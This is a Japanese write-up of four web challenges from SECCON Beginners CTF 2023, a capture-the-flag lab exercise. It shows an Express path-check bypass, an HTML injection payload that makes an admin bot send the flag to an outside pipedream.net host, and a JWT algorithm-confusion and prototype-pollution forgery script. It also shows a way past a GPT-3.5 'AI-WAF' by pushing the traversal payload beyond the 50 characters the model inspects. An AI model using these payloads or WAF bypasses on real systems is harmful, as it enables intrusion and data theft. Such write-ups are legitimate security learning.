SECCON Beginners CTF 2023 Web writeup
oooauthくやしい~~
— よーでん (@y0d3n) 2023年6月4日
「HTMLインジェクションはできるからadminにそのcodeで閲覧させれば良いかな~」て思ってたけど、どうしてもappendされたcodeの方行っちゃうからどうしようもなかった pic.twitter.com/551O6iJaqU
Web全完ならず。
解けなかったoooauthはどうやら方針はあってたようで、検証方法の所為でうまくいってなかったみたいでした・・・
Forbidden, aiwaf, phiser2, double check の writeup を書いていきます。
Forbidden (beginner: 56pt / 431solved)
You don't have permission to access /flag on this server.
アクセスすると「FLAGはこちら」と丁寧にflagへの案内がされている。
まずは素直にしたがってクリックしてみると、「Forbidden :(」と言われた。
ソースコードが配布されているので、読んでみないと何もわからなそうだ。
Forbidden/app/index.js
を読むと express を利用してることがわかる。また、/flag
に関係する箇所だけ抜き出してみる。
const block = (req, res, next) => { if (req.path.includes('/flag')) { return res.send(403, 'Forbidden :('); } next(); } app.get("/flag", block, (req, res, next) => { return res.send(FLAG); })
/flag
へアクセスできれば flag が手に入りそうだが、block
においてリクエストのパスの部分が /flag
という文字列を含む場合に Forbidden が返ってきてしまう。
ここで、express の get は大文字小文字を判別しないため、 /flaG
のような形でアクセスしてあげれば includes('/flag')
をすり抜けることができる。
ctf4b{403_forbidden_403_forbidden_403}
aiwaf (easy: 68pt / 254solved)
AI-WAFを超えてゆけ!! ※AI-WAFは気分屋なのでハックできたりできなかったりします。
アクセスすると3つリンクがあり、「あ書」をクリックすると /?file=book0.txt
に飛ぶ。
いかにもディレクトリトラバーサルっぽい見た目なので試してみたが、AIに検知された。
ソースコードを見に行く。
@app.route("/") def top(): file = request.args.get("file") if not file: return top_page if file in ["book0.txt", "book1.txt", "book2.txt"]: with open(f"./books/{file}", encoding="utf-8") as f: return f.read() # AI-WAF puuid = uuid.uuid4() prompt = f"""\ 以下の{puuid}に囲まれた部分のURLクエリはパストラバーサル攻撃でしょうか? そうである場合Yesを、違う場合Noを返してください。 ../やflagという文字列が含まれていた場合もYesを返してください。 {puuid} {urllib.parse.unquote(request.query_string)[:50]} {puuid} """ try: response = openai.ChatCompletion.create( model="gpt-3.5-turbo", messages=[ { "role": "user", "content": prompt, }, ], ) result = response.choices[0]["message"]["content"].strip() except: return abort(500, "OpenAI APIのエラーです。\n少し時間をおいてアクセスしてください。") if "No" in result: with open(f"./books/{file}", encoding="utf-8") as f: return f.read().replace(KEY, "") return abort(403, "AI-WAFに検知されました👻")
ユーザの入力が puuid
に挟まれる形でAIに投げられるらしい。
入力が出力される部分は urllib.parse.unquote(request.query_string)[:50]
となっているため、クエリストリング全体のうち最初50文字をAIに渡していることが判明する。
つまり、?01234567890123456789012345678901234567890123456789&file=../flag
のような形にすれば、先頭50文字に file
パラメータが含まれなくなって自由に入力できるようになる。
ctf4b{pr0mp7_1nj3c710n_c4n_br34k_41_w4f}
phisher2 (medium: 94pt / 118solved)
目に見える文字が全てではないが、過去の攻撃は通用しないはずです。
タイトルからして、去年 misc で出題されたホモグラフ攻撃のオマージュだろうか。 github.com
アクセスするといきなり curl を要求される。
ひとまずは言われた通りやってみる。
┌──(yoden㉿y0d3n-DESKTOP)-[~] └─$ curl -X POST -H "Content-Type: application/json" -d '{"text":"https://phisher2.beginners.seccon.games/foobar"}' https://phisher2.beginners.seccon.games {"input_url":"https://phisher2.beginners.seccon.games/foobar","message":"admin: Very good web site. Thanks for sharing!","ocr_url":"https://phisher2.beginners.seccon.games/foobar"}
POST で送信した text に含まれるURLが安全だったら admin がアクセスしてくれるらしい。
これもまたソースコードを見に行く。
@app.route("/", methods=["POST"]) def chall(): try: text = request.json["text"] except Exception: return {"message": "text is required."} fileId = uuid.uuid4() file_path = f"/var/www/uploads/{fileId}.html" with open(file_path, "w", encoding="utf-8") as f: f.write(f'<p style="font-size:30px">{text}</p>') message, ocr_url, input_url = share2admin(text, fileId) os.remove(file_path) return {"message": message, "ocr_url": ocr_url, "input_url": input_url}
text の内容が /var/www/uploads/{uuid}.html
に <p style="font-size:30px">{text}</p>
の形式で保存され、そのファイルのパスと text の元の文字列が share2admin
に渡される。
share2admin
も読んでいく。
APP_URL = os.getenv("APP_URL", "http://localhost:16161/") : # read text from image def ocr(image_path: str): tool = pyocr.get_available_tools()[0] return tool.image_to_string(Image.open(image_path), lang="eng") : def find_url_in_text(text: str): result = re.search(r"https?://[\w/:&\?\.=]+", text) if result is None: return "" else: return result.group() def share2admin(input_text: str, fileId: str): # admin opens the HTML file in a browser... ocr_text = openWebPage(fileId) if ocr_text is None: return "admin: Sorry, internal server error." # If there's a URL in the text, I'd like to open it. ocr_url = find_url_in_text(ocr_text) input_url = find_url_in_text(input_text) # not to open dangerous url if not ocr_url.startswith(APP_URL): return "admin: It's not url or safe url.", ocr_url, input_text try: # It seems safe url, therefore let's open the web page. requests.get(f"{input_url}?flag={FLAG}") except Exception: return "admin: I could not open that inner link.", ocr_url, input_text return "admin: Very good web site. Thanks for sharing!", ocr_url, input_text
URLの判定は find_url_in_text
の中で行われており、これは渡された文字列の中から一番最初にマッチしたURLを返す。
admin は /var/www/uploads/{uuid}.html
のファイルを selenium で開き、ocrで読み取った文字列を find_url_in_text
に渡す。その返り値のURLが APP_URL から始まる場合に {input_url}?flag={FLAG}
で開く。
ここで注意すべきは input_url
は find_url_in_text(input_text)
で取得されるURLだということ。
つまり、表示されない罠URLの後ろに正規のURLが表示される状態にしてあげれば良い。
自分の最終的なペイロードは以下。(正規表現の都合で-
が使えないので、いつも愛用してるwebhook.siteが利用できなくて久しぶりに別ツールを使った。)
</p><div style='display:none;'>https://....pipedream.net</div><p style='font-size:30px'>https://phisher2.beginners.seccon.games/foobar
これで ocr_url = https://phisher2.beginners.seccon.games/foobar
かつ input_url = https://....pipedream.net
の状態が作れた。
これを送信すれば、adminからflagつきでアクセスがくる。
ctf4b{w451t4c4t154w?}
double check (medium: 149pt / 41solved)
Double check is very secure.
いきなり「Cannot GET /」。正常系のリクエストも自分で組み立てるやつだ。
app.use(express.json()); app.post("/register", (req, res) => { const { username, password } = req.body; if(!username || !password) { res.status(400).json({ error: "Please send username and password" }); return; } const user = { username: username, password: password }; if (username === "admin" && password === getAdminPassword()) { user.admin = true; } req.session.user = user; console.log(user); let signed; try { signed = jwt.sign( _.omit(user, ["password"]), readKeyFromFile("keys/private.key"), { algorithm: "RS256", expiresIn: "1h" } ); } catch (err) { res.status(500).json({ error: "Internal server error" }); return; } res.header("Authorization", signed); res.json({ message: "ok" }); });
jsonでPOSTすれば良いこと、username, password のパラメータが必要なことがわかるのでリクエストしてみる。
もう一つのエンドポイントも見てみる。
app.post("/flag", (req, res) => { if (!req.header("Authorization")) { res.status(400).json({ error: "No JWT Token" }); return; } if (!req.session.user) { res.status(401).json({ error: "No User Found" }); return; } let verified; try { verified = jwt.verify( req.header("Authorization"), readKeyFromFile("keys/public.key"), { algorithms: ["RS256", "HS256"] } ); } catch (err) { console.error(err); res.status(401).json({ error: "Invalid Token" }); return; } if (req.session.user.username !== "admin" || req.session.user.password !== getAdminPassword()) { verified = _.omit(verified, ["admin"]); } const token = Object.assign({}, verified); const user = Object.assign(req.session.user, verified); if (token.admin && user.admin) { res.send(`Congratulations! Here"s your flag: ${FLAG}`); return; } res.send("No flag for you"); });
jwt を検証してadminだったらflagがもらえるらしい。 まずは任意のjwtトークンに署名をするところからクリアしていきたい。
jwtの検証時に HS256
を許可していて、配布ファイルには public.key が含まれている。これはあやしい。
HS256 にするのは過去解いたので、コードを使いまわした。(ほかの人のwriteupみてたらみんな便利そうなの使ってた)
writeup/2020_0601_HSCTF7/Broken_Tokens at master · y0d3n/writeup · GitHub
import jwt with open("./app/keys/public.key.orign", "r") as f: key = f.read() print (jwt.encode({"username":"admin","iat":1685861727,"exp":1685865327}, key, algorithm="HS256"))
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNjg1ODYxNzI3LCJleHAiOjE2ODU4NjUzMjd9.aFkF2YfEVPVK7hvH6xJ3WfbJOZc3sV1tHun7T_ctFuI
admin:pw
で /register
し、自作のtokenで正常に動作するか確認。
トークンのエラーがでない。良い感じ。
任意のトークンを発行できるようになったので、次はadminへの昇格を考える。
if (req.session.user.username !== "admin" || req.session.user.password !== getAdminPassword()) { verified = _.omit(verified, ["admin"]); } const token = Object.assign({}, verified); const user = Object.assign(req.session.user, verified); if (token.admin && user.admin) { res.send(`Congratulations! Here"s your flag: ${FLAG}`); return; }
ユーザ名・パスワードがともに正しくない場合はjwtのトークンから admin フィールドが消される。
ので {"username":"admin","admin":True,"iat":1685861727,"exp":1685865327}
みたいな形にしても意味はない。
ここで「admin
フィールドが消されるなら user.__proto__.admin
をセットしておけばよさそうだな」とひらめいた。
{"username":"admin","__proto__":{"admin":True},"iat":1685861727,"exp":1685865327}
でトークンを生成する。
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWlhbiIsIl9fcHJvdG9fXyI6eyJhZG1pbiI6dHJ1ZX0sImlhdCI6MTY4NTg2MTcyNywiZXhwIjoxNjg1ODY1MzI3fQ.w2TE-lwWDwoh0mXJInUvVSD2lMP5kDxuikLFD0V1YIo
ctf4b{Pr0707yp3_P0llU710n_f0R_7h3_w1n}